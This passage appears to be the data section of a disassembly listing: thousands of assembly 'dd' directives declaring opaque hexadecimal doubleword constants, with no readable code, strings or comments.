		dd 47D43BA4h, 2E000AEFh, 0B84CE7DCh, 4BD616h, 0FF6886F0h
		dd 2D14ACA3h, 5C19890Eh, 0F574C37Ah, 885193EEh,	0FA3A5Bh
		dd 0C2E2D1A5h, 895E9358h, 73CDEB00h, 94555C85h,	0F3AC0029h
		dd 21E9B98Ch, 31005DF6h, 0B7D08E25h, 3DD1A65Ch,	1600891Ah
		dd 3A235ACFh, 3CFAE563h, 1D8DC800h, 0AE34B8B3h,	4A75386Bh
		dd 635E9081h, 711C3DABh, 0E73120DEh, 0D2628700h, 0F732EE80h
		dd 114500B8h, 819BDAC6h, 7A0005C7h, 29E63404h, 0FDCCD7Fh
		dd 495BF336h, 0C09193A7h, 0D14266ABh, 0BFC84A00h, 1BE82B38h
		dd 0F16200C6h, 0A6E20B1Ch, 59263F92h, 0CB00442Eh, 0FEAFB939h
		dd 0D0BC002Ah, 24A8E735h, 5A0956D9h, 80C58A66h,	1C93B54h
		dd 0B4020028h, 0CDA046DAh, 0D1029E9Dh, 80EA2A3Dh, 33034107h
		dd 8CE4EE21h, 0AB8B1EA7h, 0D7880B6h, 1584774Eh,	8A411009h
		dd 1DCC80F2h, 0B45DEBh,	8CC946D8h, 1F30A67h, 4FB8527Ch
		dd 715D8A0h, 9D1D3207h,	0B3A0B20Bh, 0AB03F0h, 98B9E454h
		dd 0FDF280D9h, 3D2F7516h, 0C13872E8h, 302E6D01h, 0F4401D65h
		dd 70967DFh, 0F747E8h, 90D471D9h, 438008Bh, 8E39B5EFh
		dd 0F40081A0h, 94B2AFBBh, 9E1B389h, 0FDE969E2h,	61079A8Bh
		dd 591E8070h, 1700D257h, 0B40B8392h, 62ADEFh, 38520955h
		dd 64BE4B1Eh, 0FF009777h, 0DBF7F108h, 0C6AB88h,	65685FE9h
		dd 0E3BDBC24h, 1918BF00h, 92504623h, 80B0CAh, 8297D46Bh
		dd 0B7C77559h, 0C80E89F6h, 60813E63h, 5C912E92h, 979A374Dh
		dd 30E5D081h, 274F51CDh, 160011ECh, 8679011Bh, 0D703F102h
		dd 0CD7415F4h, 53BCF043h, 0EA9F0016h, 4F285234h, 0B30084EDh
		dd 8C27D82Fh, 464A0C8h,	50966D4Dh, 10B8C7D0h, 0C45401C5h
		dd 8BB52100h, 5E56D185h, 0CE940728h, 80F99BA0h,	3A93B799h
		dd 0E9608D1Fh, 76E02C87h, 0A8153413h, 0BFDF3Fh,	0A4EAD31Eh
		dd 4FF33BC5h, 3CF148h, 80B5318Eh, 0AA79C6h, 0A5C80141h
		dd 18137392h, 41292630h, 0BB0A42h, 0B146A2F9h, 0E6E47AA6h
		dd 5F503000h, 0D217D66Fh, 7B900Bh, 2008708Ch, 0C6D763B8h
		dd 0B6500F01h, 7443A8A2h, 0EC4C44D2h, 82F81Ah, 0A171DDE3h
		dd 502152A5h, 9F311500h, 248AF0C9h, 85BD0774h, 600634CAh
		dd 949312B1h, 0F600AC7Ch, 8C2399F5h, 13D55D1h, 0C1956A19h
		dd 0C0C592EBh, 4600F725h, 6FD79B8h, 1EA86188h, 3D8FB285h
		dd 923FDB0Fh, 9B7E6700h, 0DC00B719h, 0EFBC7839h, 0CCB356h
		dd 0FFBA36D5h, 0F790C80Bh, 58031F5Ch, 0C03A7Bh,	0BA6414F8h
		dd 77D352h, 0EFD49882h,	7D204BCBh, 0D7391A00h, 6F56E8FBh
		dd 0C098AACFh, 531AC92h, 0F5B93835h, 0E638827Fh, 6B82D060h
		dd 8B509F01h, 0F36F6D8Ch, 0B59D420h, 385A7EF5h,	0BB78A800h
		dd 510044A9h, 0CC128FA2h, 0FB9701Dh, 67476CCDh,	969CB4C0h
		dd 0F824E6ABh, 1E00208Bh, 0EC14385Ch, 96F55C99h, 804F1B1Ch
		dd 91871889h, 0A80075F0h, 0FCAF6D10h, 3F26E855h, 0CB935C44h
		dd 0F254032Ch, 67833163h, 0E3C114D8h, 1186230Fh, 0A4138019h
		dd 0DBDE6Eh, 0AB7473E2h, 2F65E04Ah, 0BE798D00h,	85C927D9h
		dd 9D201498h, 310081A6h, 0EB47D69h, 0EAF80484h,	59A480A0h
		dd 0D00038E8h, 182CF431h, 6C079Eh, 5AE2BD37h, 28C564Eh
		dd 8A681200h, 0EF9E50E8h
		dd 2657651h, 4C880C6Dh,	5CC07A1Dh, 3307FA57h, 0E218BDEDh
		dd 0D69CAEB0h, 389A00C7h, 3D0FF706h, 0C601A1F0h, 806FA69Bh
		dd 9F60A92Ah, 4BC30044h, 8FB355F1h, 0F6F8E50Dh,	20EDFD7Bh
		dd 6A00C9E4h, 0BE4A5441h, 0DF4250h, 2FA87B98h, 0DCB9A3ECh
		dd 0C93DF006h, 48C69Bh,	72C78C13h, 870269AEh, 2F6A6D00h
		dd 4BE49C3h, 8CB107C0h,	0E0C2EA79h, 0D103198Ah,	0E74F2F00h
		dd 56A59F5Fh, 953F00CDh, 80C39847h, 701F16E4h, 8AC2C40Eh
		dd 409B7F5Ah, 73418E83h, 53AF851h, 44C1AB31h, 83804059h
		dd 6695B7Dh, 48660F00h,	0B71D2694h, 9B3300D9h, 0DD05E7BCh
		dd 7607277Fh, 1A5C6F7Ah, 5BF93040h, 3E8E0036h, 0B7BE1CFCh
		dd 50053EAh, 42EDA012h,	3F094D3Ch, 0D00EC32h, 5D3B2EE7h
		dd 2500E250h, 0F6B2A2ABh, 170487FFh, 43B19Bh, 0D930BB48h
		dd 740008E3h, 0CC965AECh, 592F5D4h, 24976EBFh, 3EC081A1h
		dd 94B9F818h, 66088304h, 9490688Bh, 50CE7h, 917355ABh
		dd 847BA882h, 0E8B0FA51h, 9E00A1F1h, 1D341829h,	0A2114Ch
		dd 76B53FEBh, 0A352E016h, 0C8E92A24h, 600B2888h, 4F8E83F6h
		dd 13041600h, 0E462F550h, 4DB4336Ch, 8A900F48h,	8E7A48C0h
		dd 80CF603h, 0C0EA4CCBh, 9036263h, 2B9A2934h, 90B9AC02h
		dd 8BDBA048h, 0BDF6222Eh, 3CDD8F05h, 57D045C0h,	1C90E8h
		dd 92645182h, 0D22409B6h, 8466283Ch, 10021805h,	0B080F784h
		dd 6C4222h, 292DB1E0h, 0AC7BFC38h, 88434104h, 2480A8D8h
		dd 3CD942A7h, 2127823h,	7D64C046h, 0F3008AAEh, 45900E0Dh
		dd 0CED2C8h, 53B8C224h,	226136AAh, 0A7C5000h, 0A3766540h
		dd 0DBEA55h, 696DBB32h,	0EB9160EFh, 865BA807h, 0A6E49790h
		dd 0E2C0F184h, 0DB2DEh,	0FA18F406h, 0B5CAFF72h,	2A9D9400h
		dd 4CC17B78h, 3CC70063h, 4FB99219h, 800A756h, 94D633E5h
		dd 98D5EAh, 1F4821C6h, 16C5D39h, 5FFA6100h, 0CC356FB6h
		dd 0F0E4E812h, 89553E2Bh, 0B052F180h, 6182FE36h, 750EDF00h
		dd 151A56E5h, 0D6B4A049h, 2FC100ADh, 76CBAAE7h,	7E12025Bh
		dd 5831335Eh, 2416C5h, 0DE8C0EBAh, 335C8Bh, 0EC0545Ah
		dd 6800D5ABh, 96BCACAFh, 37173Ch, 71D4391Bh, 0BAA25B25h
		dd 0B4B07704h, 10C0B69Fh, 0F52A61Ch, 0C827780Eh, 350A110Bh
		dd 0EDAB02B4h, 5C60E923h, 580322A9h, 0F6644ACCh, 1386E80Dh
		dd 0D30F005Dh, 0BC2CF180h, 242C9DE8h, 83383714h, 10EE2650h
		dd 22798882h, 64B50E7Fh, 0DA96235h, 0C0968F04h,	5D77DF60h
		dd 9C0029B8h, 0C70F8C7Bh, 0F7F1D64Ah, 2487A060h, 18AB2A76h
		dd 7B0105Fh, 0AC000479h, 32E14C1Ah, 756CE9h, 183BA212h
		dd 0AFD9EB86h, 28D1C60Fh, 0DA49C06Eh, 37824Ah, 0C9B55870h
		dd 0E17D188Ah, 341ECA00h, 15598EB0h, 480B00D6h,	4756BCBBh
		dd 10076485h, 2D085C26h, 0FA8763D0h, 0FF290D8h,	14629C75h
		dd 0F3E807Fh, 0B8EE8940h, 97121375h, 0A44073BAh, 6187B1E3h
		dd 14220794h, 38BE68h, 1733F39Ch, 0E0AADD00h, 525ACB9Dh
		dd 8F810039h, 0BF3F402Ch, 17005366h, 41E5566Ch,	0B38FA9Bh
		dd 0D4E4CC8Eh, 0A39FBC80h, 0F2092602h, 8275C3E9h, 0C5831B34h
		dd 0D65D00D0h, 11211508h, 0D203ADEEh, 1EC8431Bh, 0A40085CCh
		dd 83B63E46h, 4DB30029h, 0DB0753EFh, 0D1583417h, 0CF67809Ch
		dd 0BF4BD7Ch, 3125CF0h,	48C8B00h, 75002689h, 0AE5FEABEh
		dd 43DF7Bh, 0F6F3B36Bh,	0E5D860B9h, 9275EC00h, 0B41F87E4h
		dd 17953CB5h, 0F407B200h, 2242FF11h, 0EB76FA00h, 0F69A05C1h
		dd 9E7820h, 715444Bh, 0DED7829Fh, 809DF73Ah, 0F2A7EEAh
		dd 79837Fh, 3A6E681Ch, 12D4EC37h, 69013C00h, 0AA03EEB2h
		dd 0A13B00F3h, 0AB570782h, 8100F965h, 0BD5296E1h, 91567D7h
		dd 0E4669FB2h, 2A717801h, 93E7F4F8h, 896D403Bh,	80DEC85Eh
		dd 8A37A354h, 0AE3A128Bh, 6B840041h, 53B7FA8Dh,	0F40054EEh
		dd 0DD810612h, 0C949C2h, 0A8B831Dh, 4FCA8E20h, 19039D72h
		dd 46E2341Ah, 0FB2005CFh, 0C78476FDh, 176D3000h, 89188115h
		dd 7A90D1F7h, 7F241E59h, 0E7183F7Dh, 0F6D30871h, 41B10F67h
		dd 0F2AB23C0h, 2E7000EBh, 2483056h, 0A1E89DA5h,	0CC0A900h
		dd 0ABFBE7F9h, 16CF8CDh, 7E58F336h, 0E09933F4h,	0FF014B95h
		dd 30675660h, 0AC683AACh, 9299B00h, 8C723C84h, 0C00BFFF4h
		dd 8189F4DCh, 3327F188h, 30515440h, 53141F9Fh, 0D2B90A4Eh
		dd 7B6E0260h, 5100A17Dh, 4885C7CDh, 79248945h, 7A2D0037h
		dd 0D34CDE37h, 0E4F70300h, 3F0A5469h, 0D056004Ah, 0E9492AD9h
		dd 4400160Eh, 394F0513h, 0E4B1031Fh, 0A80B008Dh, 0CACC5620h
		dd 341BFD3Bh, 65DA3h, 3176A41Eh, 93E065F6h, 9DC87200h
		dd 82D051A0h, 0F03C4B90h, 1BF0533Ah, 0FB0E258h,	0A6490284h
		dd 3620D824h, 0D130A535h, 963A20C2h, 204400E6h,	40C07DB5h
		dd 7C38A721h, 1329C02Fh, 81033719h, 0D1160D06h,	3008BAACh
		dd 0E9209AA0h, 0B400370Ch, 0DE4B5365h, 838B5Dh,	0E044E36h
		dd 7DC801F7h, 0EBCCA000h, 6350AB7Bh, 4721004Fh,	0CD15684Bh
		dd 0AA7CF111h, 79EB6C3Ah, 2002190h, 0EC034047h,	1796C4h
		dd 0CBCD2071h, 81AEEAD5h, 0EE3F9307h, 45B0A819h, 51BBEDh
		dd 0D5F87AAAh, 0C42F5244h, 0BD1C63F4h, 0C0403EEAh, 4CCCB353h
		dd 79A3005Bh, 62838636h, 1E006DD2h, 0BDEB2CCFh,	4AE898h
		dd 78205203h, 2F5F2DABh, 726CEE00h, 91D13B38h, 7B6304E8h
		dd 80803E17h, 32CAB481h, 4AAC9E00h, 0B928B0C0h,	99820007h
		dd 0E7EEF7CCh, 0ED006191h, 251D9001h, 0D44C6h, 4F7BAC86h
		dd 947F2797h, 752EB000h, 314E4DD2h, 8E621DA9h, 0C1768024h
		dd 7CC3A461h, 0C7F35F00h, 0F5FA690Ah, 0F052583Fh, 435AF71Ch
		dd 0C817548Dh, 5C1C67D8h, 240094E6h, 0A8837653h, 0F0D6D389h
		dd 0F4BE00EAh, 0CE2B2565h, 0C71E9CB4h, 0C0407405h, 76AF4E88h
		dd 815E1DD9h, 957CDE1Fh, 6D00982Ah, 0D06084E3h,	0AF004A0Ah
		dd 0E79BCE87h, 0E7AF2BEh, 796568C2h, 7BA0E5AFh,	7C9096AAh
		dd 0B538B1Dh, 491480BAh, 32E7A057h, 5B20E7Bh, 0BB2F8DDFh
		dd 94BE74C0h, 9D07E3C2h, 9FB712B8h, 0E8C04264h,	0C47BEE05h
		dd 5EBDD829h, 4F21BCD1h, 5022131Eh, 0E331280Ch,	0BA104B12h
		dd 411089C0h, 1130F214h, 4111C797h, 82C41290h, 25201A3Ch
		dd 25140813h, 22BCE842h, 0FF2433B6h, 13B59121h,	0B351009Ch
		dd 0D595D6E6h, 0C07E6E08h, 40B3958h, 600E357Dh,	13283580h
		dd 4FB3077Eh, 904EAEF9h, 0E9D48129h, 0F696B100h, 0E73ABA0Ch
		dd 0EFC30024h, 0B4BF34FBh, 9D0F058Ah, 0BB751h, 81195EE4h
		dd 0CB4D043Fh, 80A8100Ch, 6B599151h, 77004E74h,	2CF2993Dh
		dd 0C0CBB0D7h, 4931F91Eh, 0E013BEA6h, 0BC02C67Fh, 4016C721h
		dd 6E10B1h, 68D103E4h, 0C12D65DCh, 9747B00h, 0FF4AE14Fh
		dd 4957005Dh, 0B3BBECB9h, 8D0365A2h, 623BD452h,	0D6DBD0FEh
		dd 1A630090h, 0DF3CFCBEh, 0A90003ACh, 2DB28909h, 0D79D55h
		dd 68DB611h, 9192E287h,	2EE2B1Eh, 7E8941C0h, 1FC1CC3Eh
		dd 4BCF75h, 8A246DC4h, 40007B09h, 161EF9FAh, 3CB5774Fh
		dd 4B00B0E8h, 0DE5B1DF8h, 83B640Eh, 88D35Dh, 4E579E8Dh
		dd 6BF3CDh, 6358E831h, 5E5B562h, 0AB26E00h, 8540B893h
		dd 18DD60h, 0C20217F7h,	0D600549Ch, 1C1D8F45h, 5C2DCFh
		dd 4CF0C8ABh, 0E5804B77h, 9C335400h, 0B425B9FDh, 93560072h
		dd 264296E7h, 0C5004D65h
		dd 6A3EEE4Ah, 62F90Bh, 0E6F48B3Bh, 18340DA0h, 33DCA314h
		dd 4CB100B4h, 0C279C95h, 59B600C0h, 0DDE8EA8Fh,	5702600Fh
		dd 2F13BBFAh, 870743D0h, 14481C90h, 0F34A007Ch,	5D5A5E93h
		dd 0ED008EB5h, 0D226662Fh, 0A9AA4Eh, 78987758h,	74AF8CAEh
		dd 0CA7CC200h, 666FA863h, 0EABC0080h, 1C601ECDh, 68003ED7h
		dd 0D2287D6h, 28D2A9B3h, 0A0B85384h, 7ED75B15h,	2DAE03F6h
		dd 6361BC3Dh, 62C2A5E0h, 0F4D18007h, 0FD80E188h, 5C2DC532h
		dd 8D00DF1Ah, 0AC05155h, 0CD00C46Fh, 8B2CAD78h,	4ED017h
		dd 0AAE31CD4h, 603F7B37h, 6878FA09h, 0C0400EAFh, 461C5AC4h
		dd 8BA900EBh, 99ED3676h, 643E65A6h, 0E6F30545h,	9CC5C19Bh
		dd 0B620800h, 0A70E1h, 879CF2A7h, 1C72028Bh, 461FE700h
		dd 1A4FDE40h, 3B820363h, 0F564608Ah, 294A1E00h,	995AE6C1h
		dd 70B700A8h, 0C691161Bh, 7F017C03h, 0E345F5BCh, 0D3C84C19h
		dd 0B4FF0198h, 637722DDh, 8734208Ch, 0A2B07F00h, 72518F6Eh
		dd 36030019h, 24A09F33h, 0BA00B561h, 1B4D44B8h,	65DFE3h
		dd 37C5627Dh, 3E14EC19h, 2CBFE100h, 0EBD027D3h,	6E77ACh
		dd 0CC081C10h, 0C96201D5h, 0DCB65903h, 3CD716h,	67065130h
		dd 13F01ACEh, 82700A02h, 601E97C4h, 1B7E7CCh, 0BA1B6BECh
		dd 0DC1CA346h, 5DFA0B38h, 0BF436700h, 0B31EF409h, 5CCF008Fh
		dd 0CE190F34h, 3670FE9Eh, 0C00147E4h, 3AB7459Ch, 0B3F0688Fh
		dd 0FBD40064h, 0A5EC71B2h, 10302F2h, 38F3174Eh,	0E270B8E8h
		dd 589BB7h, 71C7561Fh, 0D400D8C0h, 2055E12Eh, 0A7A9F2h
		dd 4FA94E7h, 1D7D3D7Fh,	0ACDE8101h, 0E6C08458h,	0E74024h
		dd 0D4360889h, 0DD754A67h, 635B2813h, 0C7527800h, 72769Fh
		dd 5AFE4F46h, 427B9C0h,	620F3B00h, 0D79ACC8Bh, 5CF50052h
		dd 0F6A93FA5h, 8E008678h, 14AD423Ch, 1E889FDFh,	401987F9h
		dd 0E5CEB097h, 0AF266FEEh, 4B804166h, 3978857Eh, 0D9B81FA6h
		dd 4E0E3FE9h, 0CC6007AEh, 29793132h, 75220500h,	0A2AD505Ah
		dd 0E934159Fh, 2F00C83Eh, 42B90FDFh, 0C7F68AA1h, 0E4521400h
		dd 5AAAA5D9h, 16320E67h, 0D2BEEE77h, 0A30F0F6Fh, 2EC6EAC0h
		dd 701FFDBDh, 0DF80B4F8h, 4613A745h, 0D4650067h, 1609FA43h
		dd 17BA65Eh, 0CAABCF00h, 7694B687h, 9D4F00DFh, 0C3AC0543h
		dd 0F13B98B3h, 0E4810F92h, 0C671E0CBh, 0C7E81Dh, 585B8C54h
		dd 628FAAA3h, 0A526D400h, 0AB2A16CAh, 0AA20004h, 630E93AFh
		dd 0EB021725h, 3F7F3507h, 10286071h, 768DFC7Dh,	900D04DCh
		dd 0FE0318E4h, 0B1B5A880h, 70709D37h, 0A331FD62h, 3E14614Ah
		dd 39EFFCh, 0F04DCA32h,	2705A501h, 632C9098h, 69404410h
		dd 1B948CCh, 3D12B4A8h,	21C3B056h, 0C6FBFC7Fh, 0F27C1674h
		dd 72338B00h, 0F30DC0E4h, 0A85504A5h, 0C0D527A9h, 8952825Fh
		dd 0F130FE60h, 0C82241h, 2886297Ch, 8C13D24Dh, 0C3730300h
		dd 44B75712h, 7DB84CD9h, 0F64832Ch, 0F9DE300Ch,	20B6E867h
		dd 35C710D1h, 52370B00h, 0F238E980h, 61F31FF7h,	8FB5001Dh
		dd 8C5E90AEh, 0B97CE300h, 0CB66D3CFh, 0CE2009Dh, 2B52BE57h
		dd 0BC003F82h, 185C3BCCh, 7842B822h, 7DA607B0h,	0F0D9361Fh
		dd 0A73D8050h, 9969C01h, 5371A0E1h, 9873B5ECh, 7EAC00E0h
		dd 0FE67532h, 58C0C0D7h, 0CD180CE8h, 3E72002Ah,	0D4979242h
		dd 38C04E16h, 8AAD9917h, 905A00C7h, 0BA68A79Bh,	0DEE27D0Fh
		dd 4A65C300h, 4997B6DAh, 884400D7h, 5A071FA8h, 0EE00CEFEh
		dd 0D5BD083Ch, 7464E5Dh, 0F87FFDCBh, 48A20932h,	0AF0023BFh
		dd 1C39595Fh, 0C0DA21BAh, 63D19448h, 7A172660h,	8440E8DBh
		dd 0F567C8FAh, 23B73F44h, 0A34B0276h, 2AEF943Ch, 0F0C7A8E9h
		dd 8C76C585h, 7EC3D401h, 68D5E48Ah, 20E2C20h, 0EC9DAA09h
		dd 1460E1B4h, 16004DB7h, 56E832DFh, 26552777h, 814CF9h
		dd 6C363B89h, 59727CBEh, 9E7EC000h, 5B427776h, 0F39A075Ah
		dd 6431D3F2h, 0A7B887AFh, 9199D07Fh, 110090D1h,	0C53FF9C3h
		dd 367CA8h, 0B5B4BA8Fh,	0A502546h, 11DD2000h, 28665C0Eh
		dd 7C5F0008h, 28E1C51h,	0F2381432h, 2F9E807Fh, 2DB7E1B9h
		dd 0DB30176h, 2C85331Dh, 0A5842020h, 0F1415105h, 8C8067BAh
		dd 3C68BAEh, 0BC1BCF0Dh, 0E0094E5Ah, 8063E3D5h,	1C90B376h
		dd 3AD80043h, 0C85ACFE7h, 8B725154h, 6239137Ch,	7B145C22h
		dd 78CC7300h, 8B9B8EA2h, 329000A5h, 9247D31Dh, 0A82ED16Dh
		dd 1044A28h, 10A19427h,	4D7818EEh, 5B580h, 271F6652h, 476FBD48h
		dd 0D543E10Fh, 13D46019h, 0CA8598h, 0D3EB8873h,	52A4BF71h
		dd 2FFB1703h, 784B8428h, 603E3B28h, 3A4AD880h, 0B0154C81h
		dd 5C767C90h, 0F4ABE200h, 0DA922557h, 3AA27C77h, 6A0047EBh
		dd 2384AE06h, 4F03F582h, 0A0C7857h, 9C40AF61h, 0B27C19h
		dd 7D802CFBh, 5EC1CDF2h, 45BD0500h, 0D3819598h,	5DA403FEh
		dd 0B2D4AAFh, 5C01E8CEh, 7A3141BCh, 0B3D4848Fh,	0D21B01E7h
		dd 4922AE23h, 2F442479h, 787E0E17h, 0EEC85400h,	0F1BECEh
		dd 0AACF0AACh, 0CD942532h, 0C4D48500h, 26E4E75Eh, 351E03F6h
		dd 5AD16F1Ch, 172DB2F0h, 4FF0681Fh, 0FAA7A6C4h,	0D1DBFC80h
		dd 8CCF16A3h, 0EC8C4F7Eh, 45FEC0E7h, 9BC0405Dh,	883A0F8Fh
		dd 0D6C67000h, 0A2C57DCFh, 0C9640173h, 0A992BBF6h, 88CFC8Dh
		dd 1A000B8h, 310301DFh,	5FAD7E82h, 8BF89120h, 76381860h
		dd 4C790732h, 9BC91E1Bh, 30AEB00h, 6324D5A1h, 4300EC1Ah
		dd 5DB56093h, 0D72B0076h, 4FFDA8ECh, 4B004A14h,	0C2C59877h
		dd 0FA46F22h, 43F1948Bh, 8702BA60h, 900050F2h, 99D43EDBh
		dd 10DDE68Ch, 8F0130h, 0CB63B77h, 3054F0E1h, 30843543h
		dd 0E509BD58h, 69388Fh,	18456CF8h, 37CB005Eh, 754FE087h
		dd 28006DEEh, 1FE18157h, 115A3B1h, 7388ACEh, 20444202h
		dd 88528D64h, 0E16983A8h, 4FDE8851h, 0DF02066Fh, 1050A453h
		dd 0A2A64Ch, 0E629BC54h, 918FBBh, 92DEC1Bh, 693F6547h
		dd 0A8110200h, 721F6B0Ch, 676200DDh, 0E7E93D87h, 0E0724D37h
		dd 7DDF9203h, 0C054630Dh, 153F9B7h, 0ABB69712h,	208CB2F6h
		dd 0F31E8004h, 2ACFFC4h, 74180F3Dh, 0F03FE0E0h,	1B82C49h
		dd 3E48F350h, 34643184h, 3A18E70Ch, 832E6E39h, 0E3222855h
		dd 261978A9h, 195C53h, 0B3034A3Ah, 0A8C0AB1Ah, 4154CEAEh
		dd 6C5D009Fh, 7DEF1261h, 10F8B794h, 80BDBB3Eh, 0FA7F430h
		dd 11DD5F0h, 0E4543D88h, 202985D2h, 1A20BB60h, 78DE167Bh
		dd 0ACE04298h, 0CC68D787h, 0B35C3710h, 5300704Eh, 0BF0B517h
		dd 6647E3h, 1129B95Bh, 0E4DEBB9Eh, 3461AD06h, 88DC50h
		dd 33C20FD0h, 0AC519167h, 6EABF107h, 0D07C7043h, 35BC0018h
		dd 0BF4479A9h, 0C0006310h, 88DD0BBDh, 0C089764h, 8B05317Ah
		dd 7B0004A0h, 3E0AE39Ch, 7F96A16h, 338D3C7Fh, 99602F2Ch
		dd 0C2044EF8h, 0AEF66400h, 0C501AA97h, 0AF6D0F26h, 29A0CFE6h
		dd 2B6C070h, 123D760Ch,	1E4688A9h, 0C0EBD8E3h, 0CC094E45h
		dd 0F21F22EAh, 541DFAB9h, 0A468C380h, 0A35BABh,	4A4899E2h
		dd 92283F10h, 25CCAF00h, 8CE4EFDCh, 4B4C00B4h, 0B0079ED5h
		dd 0F7002771h, 54F9A0A3h, 4BC7FF5h, 99FD3EC5h, 0D360875Bh
		dd 6498D519h, 571FCC70h, 0EB403C40h, 5032ED21h,	1A870025h
		dd 6964D479h, 0D8A4BC6Fh, 40770908h, 40D24426h,	963E380Dh
		dd 0FFAF3B72h, 6FF90A80h, 81D88C22h, 1E80A75Ch,	0AD5FA389h
		dd 7400A8D7h
		dd 0A4188E5Ah, 4E6907BFh, 70F548EDh, 0D9069977h, 0ACD33F00h
		dd 0BD03C488h, 5147105h, 0A078BBCh, 0FCDC1C32h,	9956D508h
		dd 0DA31A001h, 88038E19h, 2E863DE0h, 9E1F2C00h,	3157AB9Dh
		dd 0BF653E67h, 0ABC4080h, 8A7946D2h, 0BEA3EB00h, 8E6770C5h
		dd 3B820066h, 6CABCCE6h, 9E116A8Bh, 0B22C39D9h,	2DC20FFh
		dd 1D4DD174h, 0C681C6Ch, 6A00484Ah, 3B2D6EF2h, 372B28h
		dd 1018D827h, 7986F7D6h, 8900327Bh, 0DF7F2107h,	0F228A4Fh
		dd 46D16E1Eh, 97C080DDh, 473841A4h, 56A27113h, 0D3C200FEh
		dd 58E7F5F2h, 12D4C600h, 77F1B573h, 1DED0E3Ch, 6D81A361h
		dd 0E151A9B6h, 8E65D095h, 73E520Ah, 0B202D832h,	8F58E468h
		dd 0EB90B90h, 1A61E0E4h, 1F432FC0h, 40CEEF4Bh, 0C20205DFh
		dd 15286E45h, 0CC00F06Ah, 6556E5A8h, 9036C9A7h,	0FCC40493h
		dd 90FBB0B5h, 99ED3508h, 905CA800h, 14FAA4A0h, 8A90968h
		dd 0C0A09E4Fh, 0F8B49A09h, 5493C012h, 0ABDA8C80h, 1E1E7764h
		dd 0C0D57FC6h, 3D606755h, 0EA010199h, 3E842B4Dh, 0E03E8C50h
		dd 6B03C2F6h, 2444EFB4h, 0C47BAAF7h, 0BFD33CA4h, 0B214A180h
		dd 0A3DA1FB5h, 0BBB88500h, 0D5BF408h, 0B88C062h, 8E357FBDh
		dd 86106163h, 82BEE83Eh, 18D509E9h, 348060D2h, 8E5122B6h
		dd 0B0916FFCh, 8CB6740h, 0AAD707D1h, 998DF3D4h,	0FC00468Bh
		dd 15DFB944h, 4D0066FEh, 0B628421h, 410D20h, 69AE711Eh
		dd 0FCD77BBCh, 4C6DA400h, 0D282B2D0h, 73C00019h, 13860F48h
		dd 0B000440Bh, 321002EAh, 193E75h, 184FE5ECh, 0DDBD3ACAh
		dd 2974AF00h, 55BB5A4Dh, 20EB62BEh, 8CE1650Ch, 83119E3Dh
		dd 0EE8624C0h, 10BB6F8h, 0A12E0A4Eh, 0E4DC57E1h, 0EA00038Fh
		dd 0A9636EE7h, 7260FCh,	0AEB7A299h, 6FF1F02Dh, 715BCF00h
		dd 3108E597h, 0B0030010h, 287D3A88h, 9900E374h,	3060ECB3h
		dd 9E2C0Bh, 1AA9AA54h, 453E246Ch, 0F1D3F200h, 0C364E9C1h
		dd 11A890A7h, 0D439EAh,	0C0D09DCh, 77F55Ah, 0DDD66438h
		dd 296F7D97h, 625E1900h, 0E2B92A78h, 0CB7B50h, 1B3CEEC3h
		dd 9ADD1AEh, 40AA9C00h,	0F5BDD8B2h, 0DAF0051h, 8F906766h
		dd 8000E99Fh, 1F0ABA5h,	0EC448Bh, 0AFC45669h, 57D47DF6h
		dd 294C248h, 9FFE9399h,	0B750433Ah, 0E050C81h, 74B7C8FFh
		dd 771C90CFh, 81180063h, 72CB70D7h, 6C00FA21h, 62FE8B10h
		dd 3C3DE0B5h, 3689BB90h, 0F4865211h, 6F006026h,	9CBBC97h
		dd 7D928D64h, 0E1C701B4h, 635F7C67h, 54D8FBA2h,	0CD00EAAEh
		dd 1E5725A9h, 0FBCA7Ah,	16C6FC7Fh, 0EC3A02E2h, 0B875EF00h
		dd 0DFBA3E31h, 187A0194h, 0E71ABED7h, 26FAD02Eh, 0E4001FE4h
		dd 20E56C9Dh, 74B948h, 67F7477Dh, 0E1168544h, 3F00EC7Ch
		dd 0D7A36927h, 0F59E4A6h, 0F8FF2672h, 0F3941360h, 80F3CBD0h
		dd 57853558h, 26D2C1CCh, 8380399Dh, 9B09F9C0h, 0B09C00A5h
		dd 29484BB1h, 0DA95E900h, 0C836260Dh, 881C3FCEh, 0F1E788E0h
		dd 1D01A8ECh, 1FDFA99Bh, 0F2D8D5ACh, 0A6D7DD7h,	9D85106Fh
		dd 87600A8h, 0CA1C7835h, 0BB3B4500h, 212E2933h,	5A9C3803h
		dd 1EBDA300h, 0B5EB0A79h, 614D4F1Dh, 0AF5BFC01h, 0A2CCE046h
		dd 7F3D7B7Fh, 0C98600ABh, 0A02E016Dh, 0E87C5575h, 0A59A4700h
		dd 530F433h, 0BC100E1Fh, 0ADE1DA17h, 64FDD803h,	0E504A984h
		dd 1C14611Ah, 0C1735890h, 0D64F4809h, 670A4209h, 0F0812C8Eh
		dd 40541246h, 4DC19690h, 0D31C2A00h, 0A061F585h, 6B60000Eh
		dd 0FC0A174Eh, 0CDF4E63Dh, 0C93F1601h, 0A21EB159h, 127B1080h
		dd 0E1B7DE90h, 0C5973900h, 6F5AFF5Dh, 0ACD10CF7h, 328A186h
		dd 24001FE0h, 83B19FD8h, 0A42EEFBh, 25B775ADh, 4DB40088h
		dd 0F0C35726h, 1AAABF0Bh, 631022E6h, 866CC8ECh,	25D01756h
		dd 7300875Eh, 99E83243h, 870062F4h, 4A7C4BC3h, 3CB65B7Fh
		dd 598F4FDEh, 0BD63601Dh, 0F00049CEh, 0B2D571EFh, 24B90780h
		dd 0C2C6Ch, 0B170F55Eh,	0ED07935Bh, 73806BD9h, 0BBBF59D0h
		dd 2C01038Fh, 8205DA09h, 6E88AE1Eh, 0D452007Eh,	0DB3B34B6h
		dd 89FE1Bh, 0EB414540h,	0B04DF99Bh, 5C00C57Eh, 6D9A118Fh
		dd 38C0A71h, 90A22776h,	0DEA0A523h, 0A80096BCh,	0B0C73FD5h
		dd 410FCh, 24737C35h, 0D71B979Dh, 90059212h, 58F7008Eh
		dd 819FAE61h, 0D673F8h,	17DD107Ch, 0C8A198E0h, 1428F709h
		dd 733C9849h, 2B4E80B9h, 1CA8A714h, 0D0E200E8h,	190F03E3h
		dd 827900F1h, 0B6FE4149h, 0BF495485h, 559B070Ch, 0F4800F31h
		dd 17AAC50h, 0C80EEDD4h, 0EC1C5BE9h, 0F0B0CC84h, 0DC0BF24Eh
		dd 0ADAC105Dh, 0E87300ABh, 0B1339723h, 0BB4CC744h, 81FA1208h
		dd 4A00101Dh, 0EF90082Eh, 0AACA3B70h, 0F8797394h, 4972C400h
